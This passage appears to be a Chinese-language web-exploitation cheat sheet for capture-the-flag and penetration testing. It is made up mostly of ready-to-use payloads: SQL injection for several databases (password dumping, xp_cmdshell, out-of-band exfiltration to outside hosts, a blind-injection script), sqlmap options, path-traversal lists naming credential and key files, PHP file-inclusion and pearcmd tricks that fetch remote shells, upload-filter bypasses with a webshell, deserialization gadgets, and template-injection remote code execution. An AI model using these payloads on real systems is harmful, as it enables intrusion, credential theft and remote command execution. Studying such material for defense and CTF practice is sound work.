取最前面 87 筆SELECT pass FROM (SELECT pass, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) AS LIMIT FROM mydb.dbo.mytable)x WHERE LIMIT between 78 and 87
其它:
查詢用戶
select name, loginame from master..syslogins, master..sysprocesses
查用戶密碼
select user,password from master.dbo.syslogins
當前角色是否為資料庫管理員
SELECT is_srvrolemember('sysadmin')
當前角色是否為db_owner
SELECT IS_MEMBER('db_owner')
爆DB name
DB_NAME(N)
UNION SELECT NULL,DB_NAME(N),NULL--
UNION SELECT NULL,name,NULL FROM master ..sysdatabases--
SELECT catalog_name FROM information_schema.schemata
1=(select name from master.dbo.sysdatabases where dbid=5)
爆表名
SELECT table_catalog, table_name FROM information_schema.tables
SELECT name FROM sysobjects WHERE xtype='U'
ID=02';if (select top 1 name from DBname..sysobjects where xtype='U' and name not in ('table1', 'table2'))>0 select 1--
爆column
SELECT table_catalog, table_name, column_name FROM information_schema.columns
SELECT name FROM syscolumns WHERE id=object_id('news')
ID=1337';if (select top 1 col_name(object_id('table_name'), i) from sysobjects)>0 select 1--
SELECT name FROM DBNAME..syscolumns WHERE id=(SELECT id FROM DBNAME..sysobjects WHERE name='TABLENAME')
一次性獲取全部資料
select quotename(name) from master..sysdatabases FOR XML PATH('')
select concat_ws(0x3a,table_schema,table_name,column_name) from information_schema.columns for json auto
Union Based
NULL
來避免Error Based
id=1 and user=0
Out of Band
declare @p varchar(1024);set @p=(SELECT xxxx);exec('master..xp_dirtree "//'+@p+'.oob.kaibro.tw/a"')
fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null)
fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)
fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.oob.kaibro.tw',default)
判斷是否站庫分離
select host_name();
select @@servername;
讀檔
select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)
xp_cmdshell
EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
執行 command
exec xp_cmdshell 'whoami'
關閉xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure'xp_cmdshell', 0;
RECONFIGURE;
快速查找帶關鍵字的表
SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = 'U' AND (syscolumns.name LIKE '%pass%' or syscolumns.name LIKE '%pwd%' or syscolumns.name LIKE '%first%');
繞 WAF
1%C2%85union%C2%85select%C2%A0null,@@version,null--
0eunion+select+null,@@version,null--
s%u0065lect
會被解析為 selectSELECT
語句必須包含 FROM
dual
表子字串:
SUBSTR('abc', 1, 1) => 'a'
空白字元
00 0A 0D 0C 09 20
IF語句
IF condition THEN true-part [ELSE false-part] END IF
註解:
--
/**/
不支援 limit
select table_name from (select rownum no, table_name from all_tables) where no=1
單雙引號
其它
SYS.DATABASE_NAME
USER
sys.login_user
SELECT role FROM session_roles
SELECT privilege FROM user_sys_privs
SELECT privilege FROM role_sys_privs
SELECT privilege FROM session_privs
SELECT banner FROM v$version where rownum=1
SELECT host_name FROM v$instance;
utl_inaddr.get_host_address
select utl_inaddr.get_host_name('87.87.87.87') from dual
庫名(schema)
SELECT DISTINCT OWNER FROM ALL_TABLES
表名
SELECT OWNER, TABLE_NAME FROM ALL_TABLES
Column
SELECT OWNER, TABLE_NAME, COLUMN_NAME FROM ALL_TAB_COLUMNS
Union Based
NULL
來避免錯誤UNION SELECT 1, 'aa', null FROM dual
Time Based
dbms_pipe.receive_message(('a'),10)
SELECT CASE WHEN (CONDITION_HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
Error Based
CTXSYS.DRITHSX.SN
SELECT * FROM news WHERE id=1 and CTXSYS.DRITHSX.SN(user, (SELECT banner FROM v$version WHERE rownum=1))=1
utl_inaddr.get_host_name
and 1=utl_inaddr.get_host_name((SQL in HERE))
dbms_xdb_version.checkin
and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null
dbms_xdb_version.makeversioned
and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null
dbms_xdb_version.uncheckout
and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null
dbms_utility.sqlid_to_sqlhash
and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null
Out of band
UTL_HTTP.request('http://kaibro.tw/'||(select user from dual))=1
SYS.DBMS_LDAP.INIT()
utl_inaddr.get_host_address()
HTTPURITYPE
SELECT HTTPURITYPE('http://30cm.club/index.php').GETCLOB() FROM DUAL;
extractvalue()
XXE
SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT xxxx)||'.oob.kaibro.tw/"> %remote;]>'),'/l') FROM dual
users
select username from all_users
select name, password from sys.user$
select username,password,account_status from dba_users
特殊用法
DBMS_XMLGEN.getXML('select user from dual')
dbms_java.runjava('com/sun/tools/script/shell/Main -e "var p = java.lang.Runtime.getRuntime().exec(''$cmd'');"')
substr(“abc",1,1) => 'a'
unicode('d') => 100
length('ab') => 2
||
'a' || 'b' => 'ab'
randomblob(100000000)
0A 0D 0C 09 20
if
Case When ... Then ...
代替case when (條件) then ... else ... end
--
SELECT name FROM sqlite_master WHERE type='table'
SELECT sql FROM sqlite_master WHERE type='table'
sqlite_version()
\'
跳脫單引號[]
神奇用法
CREATE TABLE a AS SELECT sql [ some shit... ]FROM sqlite_master;
# encoding: UTF-8
# sqlite injection (POST method) (二分搜)
# SECCON sqlsrf爆admin密碼
require 'net/http'
require 'uri'
$url = 'http://sqlsrf.pwn.seccon.jp/sqlsrf/index.cgi'
$ans = ''
(1..100).each do |i|
l = 48
r = 122
while(l <= r)
#puts "left: #{l}, right: #{r}"
break if l == r
mid = ((l + r) / 2)
$query = "kaibro'union select '62084a9fa8872a1b917ef4442c1a734e' where (select unicode(substr(password,#{i},#{i})) from users where username='admin') > #{mid} and '1'='1"
res = Net::HTTP.post_form URI($url), {"user" => $query, "pass" => "kaibro", "login" => "Login"}
if res.body.include? 'document.location'
l = mid + 1
else
r = mid
end
end
$ans += l.chr
puts $ans
end
substr("abc", 1, 1) => 'a'
ascii('x') => 120
chr(65) => A
||
'a' || 'b' => 'ab'
pg_sleep(5)
GENERATE_SERIES(1, 1000000)
repeat('a', 10000000)
0A 0D 0C 09 20
encode('123\\000\\001', 'base64')
=> MTIzAAE=
decode('MTIzAAE=', 'base64')
=> 123\000\001
limit a offset b
略過前 b 筆,抓出 a 筆出來--
/**/
SELECT $$This is a string$$
SELECT datname FROM pg_database
SELECT tablename FROM pg_tables WHERE schemaname='dbname'
SELECT column_name FROM information_schema.columns WHERE table_name='admin'
array_to_string(array(select userid||':'||password from users),',')
SELECT * FROM pg_roles;
SELECT usename, passwd FROM pg_shadow
COPY TO/FROM PROGRAM
pg_read_server_files
群組的 user 可以執行任意指令DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
select system('id');
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/xxx/cmd.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
SELECT sys_eval("id");
SELECT usename FROM pg_user;
cast(count(*) as text)
md5('abc')
replace('abcdefabcdef', 'cd', 'XX')
=> abXXefabXXef
pg_read_file(filename, offset, length)
pg_ls_dir(dirname)
pg_query()
可以多語句執行lo_import()
, lo_get()
讀檔
select cast(lo_import('/var/lib/postgresql/data/secret') as text)
=> 18440
select cast(lo_get(18440) as text)
=> secret_here
%00
, %16
來達到類似效果TOP
, LAST
取代'UNION SELECT TOP 5 xxx FROM yyy%00
'AND (SELECT TOP 1 'xxx' FROM table)%00
FROM
&
(%26
)+
(%2B
)'UNION SELECT 'aa' %2b 'bb' FROM table%00
ASC()
'UNION SELECT ASC('A') FROM table%00
Mid()
Mid('admin',1,1)
IFF(condition, true, false)
'UNION SELECT IFF(1=1, 'a', 'b') FROM table%00
\'
跳脫''
跳脫'abc\''or 1=(SELECT 1)--'
query_to_xml('Arbitary SQL')
dbms_xmlgen.getxml('SQL')
ch.qos.logback.core.CoreConstants.SINGLE_QUOTE_CHAR
在 MySQL 層就會被解成單引號 (在 HQL 層則不是)/a'*length('a')*org.apache.logging.log4j.util.Chars.QUOTE and '-- '='a
/a'*length('a')*org.apache.logging.log4j.util.Chars.QUOTE and '[shit]'='a
/a'*length('a')*'[shit]'-- [shit]
org.apache.batik.util.XMLConstants.XML_CHAR_APOS
com.ibm.icu.impl.PatternTokenizer.SINGLE_QUOTE
jodd.util.StringPool.SINGLE_QUOTE
ch.qos.logback.core.CoreConstants.SINGLE_QUOTE_CHAR
cz.vutbr.web.csskit.OutputUtil.STRING_OPENING
com.sun.java.help.impl.DocPConst.QUOTE
org.eclipse.help.internal.webapp.utils.JSonHelper.QUOTE
org.apache.logging.log4j.util.Chars.QUOTE
HQL injection example (pwn2win 2017)
order=array_upper(xpath('row',query_to_xml('select (pg_read_file((select table_name from information_schema.columns limit 1)))',true,false,'')),1)
ERROR: could not stat file "flag": No such file or directory
order=array_upper(xpath('row',query_to_xml('select (pg_read_file((select column_name from information_schema.columns limit 1)))',true,false,'')),1)
ERROR: could not stat file "secret": No such file or directory
order=array_upper(xpath('row',query_to_xml('select (pg_read_file((select secret from flag)))',true,false,'')),1)
ERROR: could not stat file "CTF-BR{bl00dsuck3rs_HQL1njection_pwn2win}": No such file or directory
$sql = "SELECT * FROM admin WHERE pass = '".md5($password, true)."'";
276f722736c95d99e921722cf9ed621c
'or'6<trash>
id=1&id=2&id=3
id=1,2,3
id=1,2,3
id=3
python sqlmap.py -u 'test.kaibro.tw/a.php?id=1'
--dbs
-D dbname --tables
-D dbname -T tbname --columns
-D dbname -T tbname --dump
--start=1
--stop=5566
--is-dba
--passwords
--privileges
--os-shell
--sql-shell
--file-read=/etc/passwd
--time-sec=10
--random-agent
--threads=10
--level=3
--technique
BEUSTQ
--cookie="abc=55667788"
--tor --check-tor --tor-type=SOCKS5 --tor-port=9050
Common Payload
./index.php
././index.php
.//index.php
../../../../../../etc/passwd
../../../../../../etc/passwd%00
....//....//....//....//etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
%252e/%252e/etc/passwd
NN/NN/NN/etc/passwd
.+./.+./.+./.+./.+./.+./.+./.+./.+./.+./etc/passwd
static\..\..\..\..\..\..\..\..\etc\passwd
Config
/usr/local/apache2/conf/httpd.conf
/usr/local/etc/apache2/httpd.conf
/usr/local/nginx/conf/nginx.conf
/etc/apache2/sites-available/000-default.conf
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/etc/httpd/conf/httpd.conf
/etc/nginx/conf.d/default.conf
/etc/nginx/nginx.conf
/etc/nginx/sites-enabled/default
/etc/nginx/sites-enabled/default.conf
/etc/mysql/my.cnf
/etc/resolv.conf
/etc/named.conf
/etc/rsyslog.conf
/etc/samba/smb.conf
/etc/openldap/slapd.conf
/etc/mongod.conf
/etc/krb5.conf
~/.tmux.conf
~/.mongorc.js
$TOMCAT_HOME/conf/tomcat-users.xml
$TOMCAT_HOME/conf/server.xml
Log
/var/log/apache2/error.log
/var/log/httpd/access_log
/var/log/mail.log
/var/log/auth.log
/var/log/messages
/var/log/secure
/var/log/sshd.log
/var/log/mysqld.log
/var/log/mongodb/mongod.log
.pm2/pm2.log
$TOMCAT_HOME/logs/catalina.out
History
.history
.bash_history
.sh_history
.zsh_history
.viminfo
.php_history
.mysql_history
.dbshell
.histfile
.node_repl_history
.python_history
.scapy_history
.sqlite_history
.psql_history
.rediscli_history
.coffee_history
.lesshst
.wget-hsts
.config/fish/fish_history
.local/share/fish/fish_history
.ipython/profile_default/history.sqlite
其他
/proc/self/cmdline
/proc/self/fd/[0-9]*
/proc/self/environ
/proc/net/fib_trie
/proc/mounts
/proc/net/arp
/proc/net/tcp
/proc/sched_debug
.htaccess
~/.bashrc
~/.bash_profile
~/.bash_logout
~/.zshrc
~/.aws/config
~/.aws/credentials
~/.boto
~/.s3cfg
~/.gitconfig
~/.config/git/config
~/.git-credentials
~/.env
/etc/passwd
/etc/shadow
/etc/hosts
/etc/rc.d/rc.local
/etc/boto.cfg
/root/.ssh/id_rsa
/root/.ssh/authorized_keys
/root/.ssh/known_hosts
/root/.ssh/config
/etc/sysconfig/network-scripts/ifcfg-eth0
/etc/exports
/etc/crontab
/var/spool/cron/root
/var/spool/cron/crontabs/root
/var/mail/<username>
C:/Windows/win.ini
C:/boot.ini
C:/apache/logs/access.log
../../../../../../../../../boot.ini/.......................
C:\Windows\System32\drivers\etc\hosts
C:\WINDOWS\System32\Config\SAM
C:/WINDOWS/repair/sam
C:/WINDOWS/repair/system
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\RegBack\system
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\iis[version].log
%WINDIR%\debug\NetSetup.log
%SYSTEMDRIVE%\autoexec.bat
C:\Documents and Settings\All Users\Application Data\Git\config
C:\ProgramData\Git\config
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
C:\inetpub\temp\appPools\DefaultAppPool\DefaultAppPool.config
C:\Windows\System32\inetsrv\config\ApplicationHost.config
C:\WINDOWS\debug\NetSetup.log
C:\WINDOWS\pfro.log
C:\inetpub\temp\apppools\DefaultAppPool\DefaultAppPool.config
../../../../proc/self/environ
php://filter/convert.base64-encode/resource=index.php
php://filter/convert.base64-decode/resource=index.php
php://filter/read=string.rot13/resource=index.php
php://filter/zlib.deflate/resource=index.php
php://filter/zlib.inflate/resource=index.php
php://filter/convert.quoted-printable-encode/resource=index.php
php://filter/read=string.strip_tags/resource=php://input
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=index.php
php://filter/convert.iconv.UCS-4LE.UCS-4BE/resource=index.php
?page=php://input
<?php system("net user"); ?>
url_allow_include
,5.4.0 直接廢除PrivateTmp
,無法利用sess_{PHPSESSID}
中session.upload_progress
session.upload_progress.enabled
開啟,可以 POST 在 $_SESSION
中添加資料 (sess_{PHPSESSID}
)session.upload_progress.cleanup=on
時,可以透過 Race conditionupload_progress_
,結尾也有多餘資料,導致上傳 zip 正常狀況無法解析register_argc_argv
/?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php
/?+-c+/tmp/shell.php+-d+man_dir=<?phpinfo();?>/*+-s+list&file=/usr/local/lib/php/pearcmd.php
/?+download+https://kaibro.tw/shell.php+&fike=/usr/local/lib/php/pearcmd.php
/?+channel-discover+kaibro.tw/302.php?&file=/usr/local/lib/php/pearcmd.php
/?+install+--force+--installroot+/tmp/wtf+http://kaibro.tw/KaibroShell.tgz+?&file=/usr/local/lib/php/pearcmd.php
/?+install+-R+&file=/usr/local/lib/php/pearcmd.php&+-R+/tmp/other+channel://pear.php.net/Archive_Tar-1.4.14
/?+bundle+-d+/tmp/;echo${IFS}PD9waHAgZXZhbCgkX1BPU1RbMF0pOyA/Pg==%7Cbase64${IFS}-d>/tmp/hello-0daysober.php;/+/tmp/other/tmp/pear/download/Archive_Tar-1.4.14.tgz+&file=/usr/local/lib/php/pearcmd.php&
/?+svntag+/tmp/;echo${IFS}PD9waHAgZXZhbCgkX1BPU1RbMF0pOyA/Pg==%7Cbase64${IFS}-d>/tmp/hello-0daysober.php;/Archive_Tar+&file=/usr/local/lib/php/pearcmd.php&
/?page=../usr/local/lib/php/peclcmd.php&+run-tests+-i+-r"system(hex2bin('PAYLOAD'));"+/usr/local/lib/php/test/Console_Getopt/tests/bug11068.phpt
當 Request body 過大或是 fastcgi server response 過大,超過 buffer size 時,其內容會保存到暫存檔中 (reference)
/var/lib/nginx/body/
, /var/lib/nginx/fastcgi/
下建立暫存檔/proc/<nginx worker pid>/fd/<fd>
來取得被刪除的檔案內容
include()
會將 fd 路徑解析成 /var/lib/nginx/body/0000001337 (deleted)
格式,導致引入失敗/proc/self/fd/34/../../../34/fd/15
/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/34/fd/15
Example
?file=data://text/plain,<?php phpinfo()?>
?file=data:text/plain,<?php phpinfo()?>
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
?file=zip://myzip.zip#php.jpg
<?php
$p = new PharData(dirname(__FILE__).'/phartest.zip',0,'phartest2',Phar::ZIP);
$x = file_get_contents('./a.php');
$p->addFromString('b.jpg', $x);
?>
?file=phar://phartest.zip/b.jpg
.shtml
, .shtm
, .stm
<!--#exec cmd="command"-->
<!--#include file="../../web.config"-->
大小寫繞過
空格 / 點 / Null 繞過
php3457
asp
aspx
jsp
.htaccess
<FilesMatch "kai">
SetHandler application/x-httpd-php
</FilesMatch>
ErrorDocument 404 %{file:/etc/passwd}
redirect permanent "/%{BASE64:%{FILE:/etc/passwd}}"
.user.ini
PHP_INI_PERDIR
和 PHP_INI_USER
的設定auto_prepend_file=test.jpg
文件解析漏洞
NTFS ADS
test.php:a.jpg
test.php
test.php::$DATA
test.php
test.php::$INDEX_ALLOCATION
test.php
資料夾test.php::$DATA.jpg
0.jpg
test.php::$DATA\aaa.jpg
aaa.jpg
FF D8 FF E0 00 10 4A 46 49 46
47 49 36 38 39 61
89 50 4E 47
filename
前後塞 %20
, %09
, %0a
, %0b
, %0c
, %0d
, %1c
, %1d
, %1e
, %1f
Content-Disposition: form-data; name="file"; %1cfilename%0a="shell.jsp"
Content-Disposition: form-data; name="file"; filename="=?UTF-8?B?c2hlbGwuanNw?="
Content-Disposition: form-data; name="file"; filename="=?UTF-8?Q?=73=68=65=6c=6c=2e=6a=73=70?="
Content-Disposition: form-data; name="file"; filename*="1.jsp"
Content-Disposition: form-data; name="file"; filename*="UTF-8'1.jpg'1.jsp"
Content-Disposition: form-data; name="file"; filename*="UTF-8'1.jpg'=?UTF-8?Q?=E6=B5=8B=E8=AF=95=2Ejsp?="
Content-Disposition:
後的 filename=xxx
Content-Disposition:name="file"kaibrokaibrofilename=shell.aspx
filename=a.php; filename*=UTF-8''a
a.php
a
x=filename="1;/../shell.aspx";
x=filenmae="1;
filename="1;/../shell.aspx"
Content-Type: application/x-www-form-urlencoded; multipart/form-data; boundary=x
--x
Content-Disposition: form-data; name="query";
Content-Type: image/jpeg&action=search&query=aaa'or''='
meow
--x--
Null Byte:
Content-Type: multipart/form-data; boundary=x
--x\0
Content-Disposition: form-data; name="path";
../../../../etc/passwd
--x\0
--
Double Boundary (前後端解析不一致):
Content-Type: multipart/form-data; BOUNDARY=y; boundary=x;
--x
Content-Disposition: form-data; name="test";
Content-Type: text/plain
--y
Content-Disposition: form-data; name="msg";
Content-Type: text/plain
1
--y--
--x--
(後端吃y, WAF吃x)
--
Combo (Double Boundary + Form header confusion + Content-type mutation):
Content-Type: multipart/form-data; BOUNDARY=y:; boundary=x;
--x
Content-Disposition: form-data; name="x";
1
--x
--y:
Content-Disposition: form-data; name="file"; x=filename="1;/../shell.aspx";
--x
Content-Disposition: form-data; name="foo";
Content-Type: <%@ Page Language="JScript"%><%eval(Request.Item["x"],"unsafe");%>
--y:--
--x--
__construct()
__destruct()
__wakeup()
__sleep()
__toString()
Value
s:size:value;
i:value;
b:value;
('1' or '0')N;
a:size:{key definition; value definition; (repeat per element)}
O:strlen(class name):class name:object size:{s:strlen(property name):property name:property definition;(repeat per property)}
Public / Private / Protected 序列化
例如:class名字為: Kaibro
,變數名字: test
若為Public
,序列化後:
...{s:4:"test";...}
若為Private
,序列化後:
...{s:12:"%00Kaibro%00test"}
若為Protected
,序列化後:
...{s:7:"%00*%00test";...}
Private和Protected會多兩個NULL
byte
<?php
class Kaibro {
public $test = "ggininder";
function __wakeup()
{
system("echo ".$this->test);
}
}
$input = $_GET['str'];
$kb = unserialize($input);
.php?str=O:6:"Kaibro":1:{s:4:"test";s:3:";id";}
uid=33(www-data) gid=33(www-data) groups=33(www-data)
<?php
class Kaibro {
private $test = "ggininder";
function __wakeup()
{
system("echo ".$this->test);
}
}
$input = $_GET['str'];
$kb = unserialize($input);
Input: .php?str=O:6:"Kaibro":1:{s:12:"%00Kaibro%00test";s:3:";id";}
Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
CVE-2016-7124
__wakeup
的執行__destruct
會執行小特性
O:+4:"test":1:{s:1:"a";s:3:"aaa";}
O:4:"test":1:{s:1:"a";s:3:"aaa";}
Fast Destruct
__destruct()
Array('key1' => classA, 'key1' => classB)
ASCII Strings
S
的序列化格式,則可以將字串內容改用 hex 表示
s:5:"A<null_byte>B<cr><lf>";̀
=> S:5:"A\00B\09\0D";
Phar:// 反序列化
phar 文件會將使用者自定義的 metadata 以序列化形式保存
透過 phar://
偽協議可以達到反序列化的效果
常見影響函數: file_get_contents()
, file_exists()
, is_dir()
, ...
透過 phar 觸發反序列化時,檔名需要有副檔名(任意副檔名都行)
Payload generator
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
php 識別 phar 是透過 __HALT_COMPILER();?>
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
trigger phar deserialization by zip
<?php
class FLAG{}
$obj=serialize(new FLAG());
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
$zip->addFromString('test.txt', 'meow');
$zip->setArchiveComment($obj);
$zip->close();
// trigger: phar://test.zip
trigger phar deserialization by tar
<?php
//@unlink("trigger.tar");
class FLAG{}
$phar = new PharData("trigger.tar");
$phar["kaibro"] = "meow";
$obj = new FLAG();
$phar->setMetadata($obj);
// trigger: phar://trigger.tar
Generic Gadget Chains
bypass phar:// 不能出現在開頭
compress.zlib://
, compress.bzip2://
, ...compress.zlib://phar://meow.phar/test.txt
php://filter/read=convert.base64-encode/resource=phar://meow.phar
Example
dumps()
將物件序列化成字串loads()
將字串反序列化Example:
a.py:
import os
import cPickle
import sys
import base64
class Exploit(object):
def __reduce__(self):
return (os.system, ('id',))
shellcode = cPickle.dumps(Exploit())
print base64.b64encode(shellcode)
b.py:
import os
import cPickle
import sys
import base64
s = raw_input(":")
print cPickle.loads(base64.b64decode(s))
$ python a.py > tmp
$ cat tmp | python b.py
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd)
BAh
: Marshal serialized data 的 base64 編碼特徵ActiveModel::AttributeMethods::ClassMethods::CodeGenerator
this one is not self-executing
this one actually relies on rails invoking a method on the resulting object after the deserialization
erb = ERB.allocate
erb.instance_variable_set :@src, "`id`"
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result, "foo", ActiveSupport::Deprecation
hash = {depr => 'something'}
marshalled = Marshal.dump(hash)
print marshalled
在 ERB 上,當 result 或 run method 被 call 時,@src 的 string 會被執行
常見使用情境:
secret_key
,則可以偽造 CookieDeprecatedInstanceVariableProxy
去執行 ERB 的 result
來 RCE
DeprecatedInstanceVariableProxy
被 unmarshal,rails session 對他處理時遇到不認識的 method 就會呼叫 method_missing
,導致執行傳入的 ERB@instance.__send__(@method)
Cookie Serializer
XML
的 node 可以自訂 type,如果指定為 yaml
,是會被成功解析的!ruby/hash
,則相當於在物件上調用 obj[key]=val
,也就是 []=
方法ActionDispatch::Routing::RouteSet::NamedRouteCollection
中的 []=
方法中,有一條代碼路徑可以 evaldefine_hash_access
中可以看到 module_eval
,裏頭的 selector
來自 name
value
調用 defaults
method,所以可以利用 OpenStruct
來構造
函數名=>返回值
的對應關係存放在 @table
中xml = %{
<?xml version="1.0" encoding="UTF-8"?>
<bingo type='yaml'>
---| !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection
'test; sleep(10); test' :
!ruby/object:OpenStruct
table:
:defaults: {}
</bingo>
}.strip
text/json
的 request 轉成 YAML
解析Yaml
在 Rails 3.0.x 是預設的 JSON Backend
YAML.load
前的 convert_json_to_yaml
,他不會檢查輸入的 JSON 是否合法ActionController::Routing::RouteSet::NamedRouteCollection#define_hash_access
的 module_eval
來 RCEac ed 00 05 ...
rO0AB ...
(Base64)readObject()
readExternal()
useCodebaseOnly
預設為 true
com.sun.jndi.rmi.object.trustURLCodebase
, com.sun.jndi.cosnaming.object.trustURLCodebase
預設為 false
com.sun.jndi.ldap.object.trustURLCodebase
預設為 false
org.apache.naming.factory.BeanFactory
+ javax.el.ELProcessor
javaSerializedData
進行反序列化Server-Side Template Injection
{{ 7*'7' }}
49
7777777
<%= 7*7 %>
49
Dump all used classes
{{ ''.__class__.__mro__[2].__subclasses__() }}
Read File
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
Write File
{{''.__class__.__mro__[2].__subclasses__()[40]('/var/www/app/a.txt', 'w').write('Kaibro Yo!')}}
RCE
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
{{ config['RUNCMD']('cat flag',shell=True) }}
RCE (another way)
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('ls').read()}}
Python3 RCE
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
過濾中括號
__getitem__
{{''.__class__.__mro__.__getitem__(2)}}
{{''.__class__.__mro__[2]}}
過濾{{
or }}
{%%}
過濾.
{{''.__class__}}
{{''['__class__']}}
{{''|attr('__class__')}}
過濾Keyword
\xff
形式去繞{{''["\x5f\x5fclass\x5f\x5f"]}}
用request繞
{{''.__class__}}
{{''[request.args.kaibro]}}&kaibro=__class__
{{['id']|map('passthru')}}
{{['id']|filter('system')}}
{{app.request.query.filter(0,'curl${IFS}kaibro.tw',1024,{'options':'system'})}}
{{_self.env.setCache("ftp://attacker.net:21")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{'/etc/passwd'|file_excerpt(30)}}
{{constant('Twig\\Environment::VERSION')}}
__${T(java.lang.Runtime).getRuntime().availableProcessors()}__::..x
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__*{new.java.lang.String(new.java.lang.ProcessBuilder('ls', '-al').start().getInputStream().readAllBytes())}__::.
$__|{springRequestContext.getClass().forName("org.yaml.snakeyaml.Yaml").newInstance().load(thymeleafRequestContext.httpServletRequest.getParameter("a"))}|__(xx=id)?a=!!org.springframework.context.support.FileSystemXmlApplicationContext ["https://thegrandpewd.pythonanywhere.com/pwn.bean"]
__*{new.java.lang.String(new.java.lang.ProcessBuilder('/readflag', 'give','me','the','flag').start().getInputStream().readAllBytes())}__::.
${"freemarker.template.utility.Execute"?new()("calc")}
${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}
<#assign value="freemarker.template.utility.Execute"?new()>${value("Calc")}
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","Calc").start()}
{{87}}
{{.}}
{{"meow"|print}}
{{"<script>alert(/xss/)</script>"}}
{{ .MyFunc "arg1" "arg2" }}
MyFunc
函數{{.File "/etc/passwd"}}
{{.Echo.Filesystem.Open "/etc/passwd"}}
{{.Echo.Static "/meow" "/"}}
{{ $x := .Echo.Filesystem.Open "/flag" }} {{ $x.Seek 1 0 }} {{ .Stream 200 "text/plain" $x }}
(by @nyancat){{ (.Echo.Filesystem.Open "/flag").Read (.Get "template") }} {{ .Get "template" }}
(by @maple3142){{ $f := .Echo.Filesystem.Open "/flag" }} {{ $buf := .Get "template" }} {{ $f.Read $buf }} {{ $buf }
(by @Ocean){{ 7*7 }}
=> 49{{ this }}
{{ this.toString() }}
{{ constructor.toString() }}
{{ constructor.constructor('alert(1)')() }}
2.1 v1.0.1-v1.1.5{{ a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')() }}
2.1 v1.0.1-v1.1.5{{ toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor) }}
2.3 v1.2.19-v1.2.23{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}
v1.2.24-v1.2.29{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}
